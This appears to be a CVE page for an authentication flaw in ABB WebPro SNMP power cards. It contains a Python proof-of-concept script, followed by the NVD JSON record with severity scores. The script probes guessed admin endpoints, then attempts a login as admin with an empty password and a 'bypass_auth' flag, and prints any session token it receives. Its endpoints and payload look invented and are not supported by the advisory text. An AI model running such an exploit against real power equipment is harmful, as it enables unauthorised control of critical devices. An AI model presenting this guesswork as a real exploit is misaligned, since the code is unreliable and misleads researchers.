CVE-2025-4676

# CVE-2025-4676 PoC - ABB WebPro SNMP Card Authentication Bypass # Note: This is a conceptual PoC for educational and security research purposes only import requests import json TARGET_IP = "192.168.1.100" TARGET_PORT = 80 CVE_ID = "CVE-2025-4676" def check_vulnerability(target_ip, target_port): """ Check if target is vulnerable to CVE-2025-4676 Authentication bypass in ABB WebPro SNMP Card PowerValue """ # Method 1: Try unauthenticated SNMP access # SNMP default community strings snmp_community_strings = ["public", "private", "admin", "manager"] # Method 2: Try web interface authentication bypass endpoints = [ "/api/auth/login", "/api/admin/config", "/api/v1/auth/bypass" ] print(f"[*] Testing {CVE_ID} on {target_ip}:{target_port}") # Check web interface for endpoint in endpoints: url = f"http://{target_ip}:{target_port}{endpoint}" try: response = requests.get(url, timeout=5) # If we get a 200 response without authentication, target is vulnerable if response.status_code == 200: print(f"[!] Potential vulnerability found at {endpoint}") print(f"[!] Status code: {response.status_code}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False def exploit_auth_bypass(target_ip, target_port): """ Exploit CVE-2025-4676 to gain unauthorized access """ # Construct malicious authentication request payload = { "username": "admin", "password": "", # Empty password may bypass auth "bypass_auth": True # Exploit the authentication flaw } url = f"http://{target_ip}:{target_port}/api/auth/login" try: response = requests.post(url, json=payload, timeout=10) if response.status_code == 200: data = response.json() print(f"[!] Successfully bypassed authentication!") print(f"[!] Response: {json.dumps(data, indent=2)}") return data.get("session_token") or data.get("token") except Exception as e: print(f"[-] Exploit failed: {e}") return None if __name__ == "__main__": print(f"[*] CVE-2025-4676 ABB WebPro SNMP Card Vulnerability Checker") print(f"[*] Target: {TARGET_IP}:{TARGET_PORT}") if check_vulnerability(TARGET_IP, TARGET_PORT): print("[!] Target appears to be VULNERABLE") token = exploit_auth_bypass(TARGET_IP, TARGET_PORT) if token: print(f"[!] Obtained session token: {token}") else: print("[-] Target does not appear to be vulnerable")

{"cve": {"id": "CVE-2025-4676", "sourceIdentifier": "[email protected]", "published": "2026-01-07T17:16:00.170", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Implementation of Authentication Algorithm vulnerability in ABB WebPro SNMP Card PowerValue, ABB WebPro SNMP Card PowerValue UL.This issue affects WebPro SNMP Card PowerValue: through 1.1.8.K; WebPro SNMP Card PowerValue UL: through 1.1.8.K."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-303"}]}], "references": [{"url": "https://search.abb.com/library/Download.aspx?DocumentID=2CRT000009&LanguageCode=en&DocumentPartId=&Action=Launch", "source": "[email protected]"}]}}